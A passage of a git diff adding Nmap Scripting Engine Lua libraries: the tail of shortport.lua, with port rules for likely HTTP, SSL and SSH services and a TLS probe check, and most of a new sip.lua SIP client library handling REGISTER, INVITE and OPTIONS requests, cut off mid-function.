+-- determined by Nmap's version scan or (if no version scan information is
+-- available) the service assigned to the port in <code>nmap-services</code>
+-- (e.g. <code>"http"</code> for TCP port 80).
+-- @param services Service name or a list of names to run against.
+-- @param protos The protocol or list of protocols to match against, default
+-- <code>"tcp"</code>.
+-- @param states A state or list of states to match against, default
+-- {<code>"open"</code>, <code>"open|filtered"</code>}.
+-- @return Function for the portrule.
+-- @usage portrule = shortport.service("ftp")
+service = function(services, protos, states)
+ protos = protos or "tcp"
+ states = states or {"open", "open|filtered"}
+
+ if type(services) ~= "table" then
+ services = {services}
+ end
+ if type(protos) ~= "table" then
+ protos = {protos}
+ end
+ if type(states) ~= "table" then
+ states = {states}
+ end
+
+ return function(host, port)
+ return tableaux.contains(services, port.service, true)
+ and tableaux.contains(protos, port.protocol, true)
+ and tableaux.contains(states, port.state, true)
+ end
+end
+
+--- Return a portrule that returns true when given an open port matching
+-- either a port number or service name.
+--
+-- This function is a combination of the <code>portnumber</code> and
+-- <code>service</code> functions. The port and service may be single values or
+-- a list of values as in those functions. This function exists because many
+-- scripts explicitly try to run against the well-known ports, but want also to
+-- run against any other port which was discovered to run the named service.
+-- @usage portrule = shortport.port_or_service(22,"ssh").
+-- @param ports A single port number or a list of port numbers.
+-- @param services Service name or a list of names to run against.
+-- @param protos The protocol or list of protocols to match against, default
+-- <code>"tcp"</code>.
+-- @param states A state or list of states to match against, default
+-- {<code>"open"</code>, <code>"open|filtered"</code>}.
+-- @return Function for the portrule.
+port_or_service = function(ports, services, protos, states)
+ return function(host, port)
+ local port_checker = portnumber(ports, protos, states)
+ local service_checker = service(services, protos, states)
+ return port_checker(host, port) or service_checker(host, port)
+ end
+end
+
+--- Return a portrule that returns true when given an open port matching
+-- either a port number or service name and has not been listed in the
+-- exclude port directive of the nmap-service-probes file. If version
+-- intensity is lesser than rarity value, portrule always returns false.
+--
+-- This function is a combination of the <code>port_is_excluded</code>
+-- and <code>port_or_service</code> functions. The port, service, proto may
+-- be single values or a list of values as in those functions.
+-- This function can be used by version category scripts to check if a
+-- given port and its protocol are in the exclude directive and that version
+-- intensity is greater than or equal to the rarity value of the script.
+-- @usage portrule = shortport.version_port_or_service(22)
+-- @usage portrule = shortport.version_port_or_service(nil, "ssh", "tcp")
+-- @usage portrule = shortport.version_port_or_service(nil, nil, "tcp", nil, 8)
+-- @param services Service name or a list of names to run against.
+-- @param protos The protocol or list of protocols to match against, default
+-- <code>"tcp"</code>.
+-- @param states A state or list of states to match against, default
+-- {<code>"open"</code>, <code>"open|filtered"</code>}.
+-- @param rarity A minimum value of version script intensity, below
+-- which the function always returns false, default 7.
+-- @return Function for the portrule.
+version_port_or_service = function(ports, services, protos, states, rarity)
+ return function(host, port)
+ local p_s_check = port_or_service(ports, services, protos, states)
+ return p_s_check(host, port)
+ and not(port_is_excluded(port.number, port.protocol))
+ and (nmap.version_intensity() >= (rarity or 7))
+ end
+end
+
+--[[
+Apache Tomcat HTTP server default ports: 8180 and 8000
+Litespeed webserver default ports: 8088 and 7080
+--]]
+LIKELY_HTTP_PORTS = {
+ 80, 443, 631, 7080, 8080, 8443, 8088, 5800, 3872, 8180, 8000
+}
+
+LIKELY_HTTP_SERVICES = {
+ "http", "https", "ipp", "http-alt", "https-alt", "vnc-http", "oem-agent",
+ "soap", "http-proxy", "caldav", "carddav", "webdav",
+}
+
+---
+-- A portrule that matches likely HTTP services.
+--
+-- @name http
+-- @class function
+-- @param host The host table to match against.
+-- @param port The port table to match against.
+-- @return <code>true</code> if the port is likely to be HTTP,
+-- <code>false</code> otherwise.
+-- @usage
+-- portrule = shortport.http
+
+http = port_or_service(LIKELY_HTTP_PORTS, LIKELY_HTTP_SERVICES)
+
+local LIKELY_SSL_PORTS = {
+ 261, -- nsiiops
+ 271, -- pt-tls
+ 324, -- rpki-rtr-tls
+ 443, -- https
+ 465, -- smtps
+ 563, -- snews/nntps
+ 585, -- imap4-ssl
+ 636, -- ldapssl
+ 853, -- domain-s
+ 989, -- ftps-data
+ 990, -- ftps-control
+ 992, -- telnets
+ 993, -- imaps
+ 994, -- ircs
+ 995, -- pop3s
+ 2221, -- ethernet-ip-s
+ 2252, -- njenet-ssl
+ 2376, -- docker-s
+ 3269, -- globalcatLDAPssl
+ 3389, -- ms-wbt-server
+ 4433, -- openssl s_server
+ 4911, -- ssl/niagara-fox
+ 5061, -- sip-tls
+ 5986, -- wsmans
+ 6679,
+ 6697,
+ 8443, -- https-alt
+ 9001, -- tor-orport
+ 8883, -- secure-mqtt
+}
+local LIKELY_SSL_SERVICES = {
+ "ftps", "ftps-data", "ftps-control", "https", "https-alt", "imaps", "ircs",
+ "ldapssl", "ms-wbt-server", "pop3s", "sip-tls", "smtps", "telnets", "tor-orport",
+}
+
+---
+-- A portrule that matches likely SSL services.
+--
+-- @param host The host table to match against.
+-- @param port The port table to match against.
+-- @return <code>true</code> if the port is likely to be SSL,
+-- <code>false</code> otherwise.
+-- @usage
+-- portrule = shortport.ssl
+function ssl(host, port)
+ if (port.version and port.version.service_tunnel == "ssl") or
+ port_or_service(LIKELY_SSL_PORTS, LIKELY_SSL_SERVICES, {"tcp", "sctp"})(host, port) then
+ return true
+ end
+ -- If we're just looking up port info, stop here.
+ if not host then return false end
+ -- if we didn't detect something *not* SSL, check it ourselves
+ -- but don't check if it's an excluded port
+ if port.version and port.version.name_confidence <= 3 and host.registry
+ and not nmap.port_is_excluded(port.number, port.protocol) then
+ comm = comm or require "comm"
+ host.registry.ssl = host.registry.ssl or {}
+ local mtx = nmap.mutex(host.registry.ssl)
+ mtx "lock"
+ local v = host.registry.ssl[port.number .. port.protocol]
+ if v == nil then
+ -- probes from nmap-service-probes
+ for _, probe in ipairs({
+ --TLSSessionReq
+ "\x16\x03\0\0\x69\x01\0\0\x65\x03\x03U\x1c\xa7\xe4random1random2random3\z
+ random4\0\0\x0c\0/\0\x0a\0\x13\x009\0\x04\0\xff\x01\0\0\x30\0\x0d\0,\0*\0\z
+ \x01\0\x03\0\x02\x06\x01\x06\x03\x06\x02\x02\x01\x02\x03\x02\x02\x03\x01\z
+ \x03\x03\x03\x02\x04\x01\x04\x03\x04\x02\x01\x01\x01\x03\x01\x02\x05\x01\z
+ \x05\x03\x05\x02",
+ -- SSLSessionReq
+ "\x16\x03\0\0S\x01\0\0O\x03\0?G\xd7\xf7\xba,\xee\xea\xb2`~\xf3\0\xfd\z
+ \x82{\xb9\xd5\x96\xc8w\x9b\xe6\xc4\xdb<=\xdbo\xef\x10n\0\0(\0\x16\0\x13\z
+ \0\x0a\0f\0\x05\0\x04\0e\0d\0c\0b\0a\0`\0\x15\0\x12\0\x09\0\x14\0\x11\0\z
+ \x08\0\x06\0\x03\x01\0",
+ }) do
+ local status, resp = comm.exchange(host, port, probe)
+ if status and resp then
+ if resp:match("^\x16\x03[\0-\x03]..\x02...\x03[\0-\x03]")
+ or resp:match("^\x15\x03[\0-\x03]\0\x02\x02[F\x28]") then
+ -- Definitely SSL
+ v = true
+ break
+ elseif not resp:match("^[\x16\x15]\x03") then
+ -- Something definitely not SSL
+ v = false
+ break
+ end
+ -- Something else? better try the other probes
+ end
+ end
+ host.registry.ssl[port.number .. port.protocol] = v or false
+ end
+ mtx "done"
+ return v
+ end
+ return false
+end
+
+local LIKELY_SSH_PORTS = {
+ -- Top ssh ports on shodanhq.com
+ 22,
+ 2222,
+ 55554,
+ --666, -- 86% SSH, but we'd like to be more certain.
+ 22222,
+ 2382,
+ -- And others reported by users
+ 830, -- netconf-ssh
+}
+
+-- This part isn't really necessary, since -sV will reliably detect SSH
+local LIKELY_SSH_SERVICES = {
+ 'ssh', 'netconf-ssh'
+}
+
+-- A portrule that matches likely SSH services.
+--
+-- @name ssh
+-- @class function
+-- @param host The host table to match against.
+-- @param port The port table to match against.
+-- @return <code>true</code> if the port is likely to be SSH,
+-- <code>false</code> otherwise.
+-- @usage
+-- portrule = shortport.ssh
+
+ssh = port_or_service(LIKELY_SSH_PORTS, LIKELY_SSH_SERVICES)
+
+--- Return a portrule that returns true when given an open port matching a port range
+--
+--@param range A port range string in Nmap standard format (ex. "T:80,1-30,U:31337,21-25")
+--@return Function for the portrule.
+function port_range(range)
+ assert(type(range)=="string" and range~="","Incorrect port range specification.")
+
+ local ports = {
+ tcp = {},
+ udp = {},
+ }
+ local proto = "both"
+ local pos = 1
+ repeat
+ local i, j, protspec = range:find("^%s*([TU:]+)", pos)
+ if i then
+ pos = j + 1
+ if protspec == "U:" then
+ proto = "udp"
+ elseif protspec == "T:" then
+ proto = "tcp"
+ else
+ assert(protspec == "", "Incorrect port range specification.")
+ end
+ end
+ repeat
+ local i, j, portspec = range:find("^%s*([%d%-]+),?", pos)
+ if not i then break end
+ pos = j + 1
+ portspec = tonumber(portspec) or portspec
+ if proto == "both" then
+ local ttab = ports.tcp
+ ttab[#ttab+1] = portspec
+ local utab = ports.udp
+ utab[#utab+1] = portspec
+ else
+ local ptab = ports[proto]
+ ptab[#ptab+1] = portspec
+ end
+ until pos >= #range
+ until pos >= #range
+
+ local tcp_rule = portnumber(ports.tcp, "tcp")
+ local udp_rule = portnumber(ports.udp, "udp")
+ return function(host, port)
+ return tcp_rule(host, port) or udp_rule(host, port)
+ end
+end
+
+return _ENV;
diff --git a/nselib/sip.lua b/nselib/sip.lua
new file mode 100644
index 0000000..243dc62
--- /dev/null
+++ b/nselib/sip.lua
@@ -0,0 +1,894 @@
+--- A SIP library supporting a limited subset of SIP commands and methods
+--
+-- The library currently supports the following methods:
+-- * REGISTER
+-- * INVITE
+-- * OPTIONS
+--
+-- Overview
+-- --------
+-- The library consists of the following classes:
+--
+-- * SessionData
+-- - Holds session data for the SIP session
+-- * Session
+-- - Contains application functionality related to the implemented
+-- SIP methods.
+-- * Connection
+-- - A class containing code related to socket communication.
+-- * Response
+-- - A class containing code for handling SIP responses
+-- * Request
+-- - A class containing code for handling SIP requests
+-- * SIPAuth
+-- - A class containing code related to SIP Authentication
+-- * Helper
+-- - A class containing code used as a primary interface by scripts
+--
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--
+-- @args sip.timeout - specifies the session (socket) timeout in seconds
+
+-- Version 0.1
+-- Created 2011/03/30 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+local nmap = require "nmap"
+local os = require "os"
+local stdnse = require "stdnse"
+local openssl = stdnse.silent_require "openssl"
+local stringaux = require "stringaux"
+local table = require "table"
+local rand = require "rand"
+_ENV = stdnse.module("sip", stdnse.seeall)
+
+-- Method constants
+Method = {
+ ACK = "ACK",
+ INVITE = "INVITE",
+ OPTIONS = "OPTIONS",
+ REGISTER = "REGISTER",
+}
+
+-- Error constants
+Error = {
+ TRYING = 100,
+ RING = 180,
+ TIMEOUT = 408,
+ BUSY = 486,
+ DECLINE = 603,
+ OK = 200,
+ UNAUTHORIZED = 401,
+ FORBIDDEN = 403,
+ NOTFOUND = 404,
+ PROXY_AUTH_REQUIRED = 407,
+}
+
+-- Generates a random string of the requested length.
+-- @param length The length of the string to return
+-- @return The random string.
+local get_random_string = function(length)
+ return rand.random_string(length, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_")
+end
+
+-- The SessionData class
+SessionData = {
+
+ --- Creates a new instance of SessionData
+ -- @name SessionData.new
+ -- @return o an instance of SessionData
+ new = function(self, o)
+ local o = o or {}
+ setmetatable(o, self)
+ self.__index = self
+ o.user = "user"
+ return o
+ end,
+
+ --- Sets the session username
+ -- @name SessionData.setUsername
+ -- @param user string containing the username
+ setUsername = function(self, user) self.user = user end,
+
+ --- Sets the session password
+ -- @name SessionData.setPassword
+ -- @param pass string containing the password
+ setPassword = function(self, pass) self.pass = pass end,
+
+ --- Sets the SIP domain
+ -- @name SessionData.setDomain
+ -- @param domain string containing the SIP domain
+ setDomain = function(self, domain) self.domain = domain end,
+
+ --- Sets the ip and port of the remote server
+ -- @name SessionData.setServer
+ -- @param host string containing the ip of the remote server
+ -- @param port number containing the port of the remote server
+ setServer = function(self, host, port) self.server = { host = host, port = port } end,
+
+ --- Sets the ip and port of the client
+ -- @name SessionData.setClient
+ -- @param host string containing the ip of the client
+ -- @param port number containing the port of the client
+ setClient = function(self, host, port) self.client = { host = host, port = port } end,
+
+ --- Sets the SIP users Full Name
+ -- @name SessionData.setName
+ -- @param name string containing the full name of the user
+ setName = function(self, name) self.name = name end,
+
+ --- Retrieves the username
+ -- @name SessionData.getUsername
+ -- @return user string containing the sessions username
+ getUsername = function(self) return self.user end,
+
+ --- Retrieves the session password
+ -- @name SessionData.getPassword
+ -- @return pass string containing the session password
+ getPassword = function(self) return self.pass end,
+
+ --- Retrieves the SIP domain
+ -- @name SessionData.getDomain
+ -- @return domain string containing the SIP domain
+ getDomain = function(self) return self.domain end,
+
+ --- Retrieves the client IP and port
+ -- @name SessionData.getClient
+ -- @return host string containing the client IP
+ -- @return port number containing the client port
+ getClient = function(self) return self.client.host, self.client.port end,
+
+ --- Retrieves the server IP and port
+ -- @name SessionData.getServer
+ -- @return host string containing the server IP
+ -- @return port number containing the server port
+ getServer = function(self) return self.server.host, self.server.port end,
+
+ --- Retrieves the SIP users full name
+ -- @name SessionData.getName
+ -- @return name string containing the users full name
+ getName = function(self) return self.name or "Nmap NSE" end,
+}
+
+-- The session class holds the code necessary to register a SIP session
+Session = {
+
+ --- Creates a new session instance
+ -- @name Session.new
+ -- @param host table containing the remote host to connect to
+ -- @param port table containing the remote port to connect to
+ -- @param sessdata instance of SessionData
+ -- @param options table containing zero or more of the following options
+ -- <code>expires</code> - the expire value in seconds
+ -- <code>timeout</code> - the socket timeout in seconds
+ -- @return a new instance of the Session class
+ new = function(self, host, port, sessdata, options)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.protocol = port.protocol:upper()
+ o.expires = (options and options.expires) or 300
+ o.conn = Connection:new(host,port)
+ o.cseq = (options and options.cseq) or 1234
+ local timeout = ( ( options and options.timeout ) and
+ options.timeout * 1000 ) or 5000
+ o.conn.socket:set_timeout( timeout )
+ o.sessdata = sessdata or SessionData:new()
+ return o
+ end,
+
+ --- Connect the session
+ -- @name Session.connect
+ -- @return true on success, false on failure
+ -- @return err string containing error message
+ connect = function(self)
+ local status, err = self.conn:connect()
+ if (not(status)) then
+ return false, "ERROR: Failed to connect to server"
+ end
+ local status, lhost, lport, rhost, rport = self.conn.socket:get_info()
+ if ( not(status) ) then
+ return false, "Failed to retrieve socket information"
+ end
+ self.sessdata:setClient(lhost, lport)
+ self.sessdata:setServer(rhost, rport)
+ return true
+ end,
+
+ --- Closes the session
+ -- TODO: We should probably send some "closing" packets here
+ -- @name Session.close
+ -- @return true on success, false on failure
+ close = function(self) return self.conn:close() end,
+
+ --- Sends a SIP invite
+ -- @name Session.invite
+ -- @param uri The address to invite
+ -- @return status true on success false on failure
+ -- @return err string containing an error message if status is false
+ invite = function(self, uri)
+ local request = Request:new(Method.INVITE, self.protocol)
+
+ local lhost, _ = self.sessdata:getClient()
+ local tm = os.time()
+
+ local uri = (uri and uri:match("^sip:.*@.*")) or
+ ("sip:%s@%s"):format(uri, self.sessdata:getDomain())
+
+ request:setUri(uri)
+ request:setSessionData(self.sessdata)
+
+ local data = {
+ "v=0",
+ ("o=- %s %s IN IP4 %s"):format(tm, tm, lhost),
+ "s=-",
+ ("c=IN IP4 %s"):format(lhost),
+ "t=0 0",
+ "m=audio 49174 RTP/AVP 0",
+ "a=rtpmap:0 PCMU/8000",
+ }
+
+ request:setContent(table.concat(data, "\r\n"))
+ request:setContentType("application/sdp")
+
+ local status, response = self:exch(request)
+ if ( not(status) ) then return false, response end
+
+ local errcode = response:getErrorCode()
+
+ if ( Error.PROXY_AUTH_REQUIRED == errcode or
+ Error.UNAUTHORIZED == errcode ) then
+
+ -- Send an ACK to the server
+ request:setMethod(Method.ACK)
+ local status, err = self.conn:send( tostring(request) )
+ if ( not(status) ) then return status, "ERROR: Failed to send request" end
+
+ -- Send an authenticated INVITE to the server
+ request:setMethod(Method.INVITE)
+ self.cseq = self.cseq + 1
+ status, data = self:authenticate(request, response)
+ if ( not(status) ) then return false, "SIP Authentication failed" end
+ response = Response:new(data)
+
+ -- read a bunch of 180 Ringing and 100 Trying requests, until we get a 200 OK
+ while ( response:getErrorCode() ~= Error.OK ) do
+ status, data = self.conn:recv()
+ if ( not(status) ) then return status, "ERROR: Failed to receive response" end
+ response = Response:new(data)
+ end
+
+ end
+
+ return true
+ end,
+
+ --- Prepares and sends the challenge response authentication to the server
+ -- @name Session.authenticate
+ -- @param request instance of the request object requiring authentication
+ -- @param authdata string containing authentication data
+ -- @return status true on success false on failure
+ -- @return err string containing an error message if status is false
+ authenticate = function(self, request, response)
+ local rhost, _ = self.sessdata:getServer()
+ local auth_header, auth_data = response:getAuthData()
+ local auth = SipAuth:new(auth_data)
+ auth:setUsername(self.sessdata:getUsername())
+ auth:setPassword(self.sessdata:getPassword())
+ auth:setMethod(request.method)
+ auth:setUri(("sip:%s"):format(rhost))
+
+ if ( auth_header == "WWW-Authenticate" ) then
+ request:setWWWAuth(auth:createResponse())
+ else
+ request:setProxyAuth(auth:createResponse())
+ end
+ request:setCseq(self.cseq)
+
+ local status, err = self.conn:send( tostring(request) )
+ if ( not(status) ) then return status, "ERROR: Failed to send request" end
+
+ local data
+ status, data = self.conn:recv()
+ if ( not(status) and data ~= "TIMEOUT" ) then
+ return status, "ERROR: Failed to receive response"
+ end
+ return status, data
+ end,
+
+ --- Sends a SIP Request and receives the Response
+ -- @name Session.exch
+ -- @param request instance of Request
+ -- @return status true on success, false on failure
+ -- @return a new Response instance or error message if status is false
+ exch = function(self, request)
+ request:setCseq(self.cseq)
+
+ local status, err = self.conn:send( tostring(request) )
+ if ( not(status) ) then return status, "ERROR: Failed to send request" end
+
+ local status, data = self.conn:recv()
+ if ( not(status) ) then return status, "ERROR: Failed to receive response" end
+
+ return true, Response:new(data)
+ end,
+
+ --- Sends a register request to the server
+ -- @name Session.register
+ -- @return status true on success, false on failure
+ -- @return msg string containing the error message (if status is false)
+ register = function(self)
+ local request = Request:new(Method.REGISTER, self.protocol)
+
+ request:setUri("sip:" .. self.sessdata:getServer())
+ request:setSessionData(self.sessdata)
+ request:setExpires(self.expires)
+
+ local status, response = self:exch(request)
+ if (not(status)) then return false, response end
+
+ local errcode = response:getErrorCode()
+
+ if ( status and errcode == Error.OK ) then
+ return true, response
+ elseif ( Error.PROXY_AUTH_REQUIRED == errcode or Error.UNAUTHORIZED == errcode ) then
+ local data
+ self.cseq = self.cseq + 1
+ status, data = self:authenticate(request, response)
+ response = Response:new(data)
+ errcode = response:getErrorCode()
+ if ( not(status) or ( errcode and errcode ~= Error.OK ) ) then
+ return false, "ERROR: Failed to authenticate"
+ end
+ elseif ( Error.FORBIDDEN == errcode ) then
+ return false, "Authentication forbidden"
+ else
+ return false, ("Unhandled error: %d"):format(errcode)
+ end
+ return true
+ end,
+
+ --- Sends an option request to the server and handles the response
+ -- @name Session.options
+ -- @return status true on success, false on failure
+ -- @return Response if status is true, nil else.
+ -- @see Response
+ options = function(self)
+ local req = Request:new(Method.OPTIONS, self.protocol)
+ req:setUri("sip:" .. self.sessdata:getServer())
+ req:setSessionData(self.sessdata)
+ req:setExpires(self.expires)
+ req:addHeader("Accept", "application/sdp")
+
+ local status, response = self:exch(req)
+ if status then return true, response end
+
+ return false, nil
+ end,
+
+}
+
+-- The connection class contains basic communication code
+Connection = {
+
+ --- Creates a new SIP Connection
+ -- @name Connection.new
+ -- @param host table containing the host to connect to
+ -- @param port table containing the port to connect to
+ -- @return a new Connection instance
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.socket = nmap.new_socket()
+ return o
+ end,
+
+ --- Connects to the server
+ -- @name Connection.connect
+ -- @return status containing true on success and false on failure
+ -- @return err containing the error message (if status is false)
+ connect = function(self)
+ local status, err = self.socket:connect(self.host, self.port)
+ if ( status ) then
+ local status, lhost, lport, _, _ = self.socket:get_info()
+ if ( status ) then
+ self.lhost = lhost
+ self.lport = lport
+ end
+ end
+ return status, err
+ end,
+
+ --- Sends the data over the socket
+ -- @name Connection.send
+ -- @return status true on success, false on failure
+ -- @return error message if status is false
+ send = function(self, data)
+ return self.socket:send(data)
+ end,
+
+ --- Receives data from the socket
+ -- @name Connection.recv
+ -- @return status true on success, false on failure
+ -- @return error message if status is false
+ recv = function(self)
+ return self.socket:receive()
+ end,
+
+ --- Closes the communication channel (socket)
+ -- @name Connection.close
+ -- @return true on success false on failure
+ -- @return error message if status is false
+ close = function(self)
+ return self.socket:close()
+ end,
+
+ --- Retrieves the client ip and port
+ -- @name Connection.getClient
+ -- @return lhost string containing the local ip
+ -- @return lport number containing the local port
+ getClient = function(self) return self.lhost, self.lport end,
+
+ --- Retrieves the server ip and port
+ -- @name Connection.getServer
+ -- @return rhost string containing the server ip
+ -- @return rport number containing the server port
+ getServer = function(self) return ( self.host.ip or self.host ), ( self.port.number or self.port ) end,
+
+
+}
+
+-- The response class holds the necessary methods and parameters to parse a response
+Response = {
+
+ --- Creates a new Response instance
+ -- @name Response.new
+ -- @param str containing the data as received over the socket
+ -- @return a new Response instance
+ new = function(self, str)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.tbl = stringaux.strsplit("\r\n", str)
+ return o
+ end,
+
+ --- Retrieves a given header value from the response
+ -- @name Response.getHeader
+ -- @param name string containing the name of the header
+ -- @return value string containing the header value
+ getHeader = function(self,name)
+ for _, line in ipairs(self.tbl) do
+ local header, value = line:match("^(.-): (.*)$")
+ if ( header and header:lower() == name:lower() ) then
+ return value
+ end
+ end
+ end,
+
+ --- Returns the error code from the SIP response
+ -- @name Response.getErrorCode
+ -- @return err number containing the error code
+ getErrorCode = function(self)
+ return tonumber(self.tbl[1]:match("SIP/%d%.%d (%d+)"))
+ end,
+
+ --- Returns the error message returned by the server
+ -- @name Response.getErrorMessage
+ -- @return errmsg string containing the error message
+ getErrorMessage = function(self)
+ return self.tbl[1]:match("^SIP/%d%.%d %d+ (.+)$")
+ end,
+
+ --- Returns the message method
+ -- @name Response.getMethod
+ -- @return method string containing the method
+ getMethod = function(self)
+ return self.tbl[1]:match("^(.-)%s.*SIP/2%.0$")
+ end,
+
+ --- Returns the authentication data from the SIP response
+ -- @name Response.getAuthData
+ -- @return auth string containing the raw authentication data
+ getAuthData = function(self)
+ local auth = self:getHeader("WWW-Authenticate") or self:getHeader("Proxy-Authenticate")
+ if ( auth ) then
+ return ( self:getHeader("WWW-Authenticate") and
+ "WWW-Authenticate" or
+ "Proxy-Authenticate"), auth
+ end
+ end,
+
+ --- Retrieves the current sequence number
+ -- @name Response.getCSeq
+ -- @return cseq number containing the current sequence number
+ getCSeq = function(self)
+ local cseq = self:getHeader("CSeq")
+ cseq = (cseq and cseq:match("^(%d+)"))
+ return (cseq and tonumber(cseq))
+ end,
+
+}
+
+-- The request class holds the necessary functions and parameters for a basic SIP request
+Request = {
+
+ --- Creates a new Request instance
+ -- @name Request.new
+ -- @param method string containing the request method to use
+ -- @param proto Used protocol, could be "UDP" or "TCP"
+ -- @return a new Request instance
+ new = function(self, method, proto)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+
+ o.ua = "Nmap NSE"
+ o.protocol = proto or "UDP"
+ o.expires = 0
+ o.allow = "PRACK, INVITE ,ACK, BYE, CANCEL, UPDATE, SUBSCRIBE"
+ .. ",NOTIFY, REFER, MESSAGE, OPTIONS"
+
+ o.maxfwd = 70
+ o.method = method
+ o.length = 0
+ o.cid = get_random_string(60)
+ return o
+ end,
+
+ --- Sets the sessiondata so that session information may be fetched
+ -- @name Request.setSessionData
+ -- @param data instance of SessionData
+ setSessionData = function(self, data) self.sessdata = data end,
+
+ --- Adds a custom header to the request
+ -- @name Request.addHeader
+ -- @param name string containing the header name
+ -- @param value string containing the header value
+ addHeader = function(self, name, value)
+ self.headers = self.headers or {}
+ table.insert(self.headers, ("%s: %s"):format(name, value))
+ end,
+
+ --- Sets the SIP uri
+ -- @name Request.setUri
+ -- @param uri string containing the SIP uri
+ setUri = function(self, uri) self.uri = uri end,
+
+ --- Sets an error
+ -- @name Request.setError
+ -- @param code number containing the error code
+ -- @param msg string containing the error message
+ setError = function(self, code, msg) self.error = { code = code, msg = msg } end,
+
+ --- Sets the request method
+ -- @name Request.setMethod
+ -- @param method string containing a valid SIP method
+ setMethod = function(self, method) self.method = method end,
+
+ --- Sets the sequence number
+ -- @name Request.setCseq
+ -- @param seq number containing the sequence number to set
+ setCseq = function(self, seq) self.cseq = seq end,
+
+ --- Sets the allow header
+ -- @name Request.setAllow
+ -- @param allow table containing all of the allowed SIP methods
+ setAllow = function(self, allow) self.allow = table.concat(allow, ", ") end,
+
+ --- Sets the request content data
+ -- @name Request.setContent
+ -- @param string containing the content data
+ setContent = function(self, content) self.content = content end,
+
+ --- Sets the requests' content type
+ -- @name Request.setContentType
+ -- @param t string containing the content type
+ setContentType = function(self, t) self.content_type = t end,
+
+ --- Sets the supported SIP methods
+ -- @name Request.setSupported
+ -- @param supported string containing the supported methods
+ setSupported = function(self, supported) self.supported = supported end,
+
+ --- Sets the content-length of the SIP request
+ -- @name Request.setContentLength
+ -- @param len number containing the length of the actual request
+ setContentLength = function(self, len) self.length = len end,
+
+ --- Sets the expires header of the SIP request
+ -- @name Request.setExpires
+ -- @param expires number containing the expire value
+ setExpires = function(self, expires) self.expires = expires end,
+
+ --- Sets the User Agent being used to connect to the SIP server
+ -- @name Request.setUA
+ -- @param ua string containing the User-Agent name (defaults to Nmap NSE)
+ setUA = function(self, ua) self.ua = ua end,
+
+ --- Sets the caller ID information of the SIP request
+ -- @name Request.setCallId
+ -- @param cid string containing the callers id
+ setCallId = function(self, cid) self.cid = cid end,
+
+ --- Sets the maximum forwards allowed of this request
+ -- @name Request.setForwards
+ -- @param maxfwd number containing the maximum allowed forwards
+ setForwards = function(self, maxfwd) self.maxfwd = maxfwd end,
+
+ --- Sets the proxy authentication data
+ -- @name Request.setProxyAuth
+ -- @param auth string containing properly formatted proxy authentication data
+ setProxyAuth = function(self, auth) self.proxyauth = auth end,
+
+ --- Sets the www authentication data
+ -- @name Request.setWWWAuth
+ -- @param auth string containing properly formatted proxy authentication data
+ setWWWAuth = function(self, auth) self.wwwauth = auth end,
+
+ --- Specifies the network protocol being used
+ -- @name Request.setProtocol
+ -- @param proto should be either "UDP" or "TCP"
+ setProtocol = function(self, proto)
+ assert( proto == "UDP" or proto == "TCP", ("Unsupported protocol %s"):format(proto))
+ self.protocol = proto
+ end,
+
+
+ --- Converts the request to a String suitable to be sent over the socket
+ -- Called automatically by Lua's <code>tostring</code> function.
+ -- @name Request.__tostring
+ -- @return ret string containing the complete request for sending over the socket
+ __tostring = function(self)
+ local data = {}
+ local branch = "z9hG4bK" .. get_random_string(25)
+ -- must be at least 32-bit unique
+ self.from_tag = self.from_tag or get_random_string(20)
+ local sessdata = self.sessdata
+ local lhost, lport = sessdata:getClient()
+ local rhost, rport = sessdata:getServer()
+
+ local name, user, domain = sessdata:getName(), sessdata:getUsername(), sessdata:getDomain()
+
+ assert(self.method, "No method specified")
+ assert(self.maxfwd, "Max forward not set")
+
+ -- if no domain was specified use the remote host instead
+ domain = domain or rhost
+
+ if ( self.error ) then
+ table.insert(data, ("SIP/2.0 %s %d"):format(self.error.msg, self.error.code))
+ else
+ if ( self.method == Method.ACK ) then
+ table.insert(data, ("%s %s:%d SIP/2.0"):format(self.method, self.uri, rport))
+ else
+ table.insert(data, ("%s %s SIP/2.0"):format(self.method, self.uri))
+ end
+ end
+ table.insert(data, ("Via: SIP/2.0/%s %s:%d;rport;branch=%s"):format(self.protocol, lhost, lport, branch))
+ table.insert(data, ("Max-Forwards: %d"):format(self.maxfwd))
+ table.insert(data, ("From: \"%s\" <sip:%s@%s>;tag=%s"):format(name, user, domain, self.from_tag))
+
+ if ( self.method == Method.INVITE ) then
+ table.insert(data, ("To: <sip:%s@%s>"):format(user, domain))
+ else
+ table.insert(data, ("To: \"%s\" <sip:%s@%s>"):format(name, user, domain))
+ end
+
+ table.insert(data, ("Call-ID: %s"):format(self.cid))
+
+ if ( self.error and self.error.code == Error.OK ) then
+ table.insert(data, ("CSeq: %d OPTIONS"):format(self.cseq))
+ else
+ table.insert(data, ("CSeq: %d %s"):format(self.cseq, self.method))
+ end
+
+ if ( self.method ~= Method.ACK ) then
+ table.insert(data, ("User-Agent: %s"):format(self.ua))
+ table.insert(data, ("Contact: \"%s\" <sip:%s@%s:%d>"):format(name, user, lhost, lport))
+ if ( self.expires ) then
+ table.insert(data, ("Expires: %d"):format(self.expires))
+ end
+ if ( self.allow ) then
+ table.insert(data, ("Allow: %s"):format(self.allow))
+ end
+ if ( self.supported ) then
+ table.insert(data, ("Supported: %s"):format(self.supported))
+ end
+
+ if ( not(self.error) ) then
+ if ( self.proxyauth ) then
+ table.insert(data, ("Proxy-Authorization: %s"):format(self.proxyauth))
+ end
+ if ( self.wwwauth ) then
+ table.insert(data, ("Authorization: %s"):format(self.wwwauth))
+ end
+ end
+
+ self.length = (self.content and #self.content +2 or 0)
+ if ( self.headers ) then
+ for _, val in ipairs(self.headers) do
+ table.insert(data, val)
+ end
+ end
+ if ( self.content_type ) then
+ table.insert(data, ("Content-Type: %s"):format(self.content_type))
+ end
+ table.insert(data, ("Content-Length: %d"):format(self.length))
+ table.insert(data, "")
+
+ if ( self.content ) then table.insert(data, self.content) end
+ table.insert(data, "")
+ else
+ self.length = (self.content and #self.content +2 or 0)
+
+ table.insert(data, ("Content-Length: %d"):format(self.length))
+ table.insert(data, "")
+ end
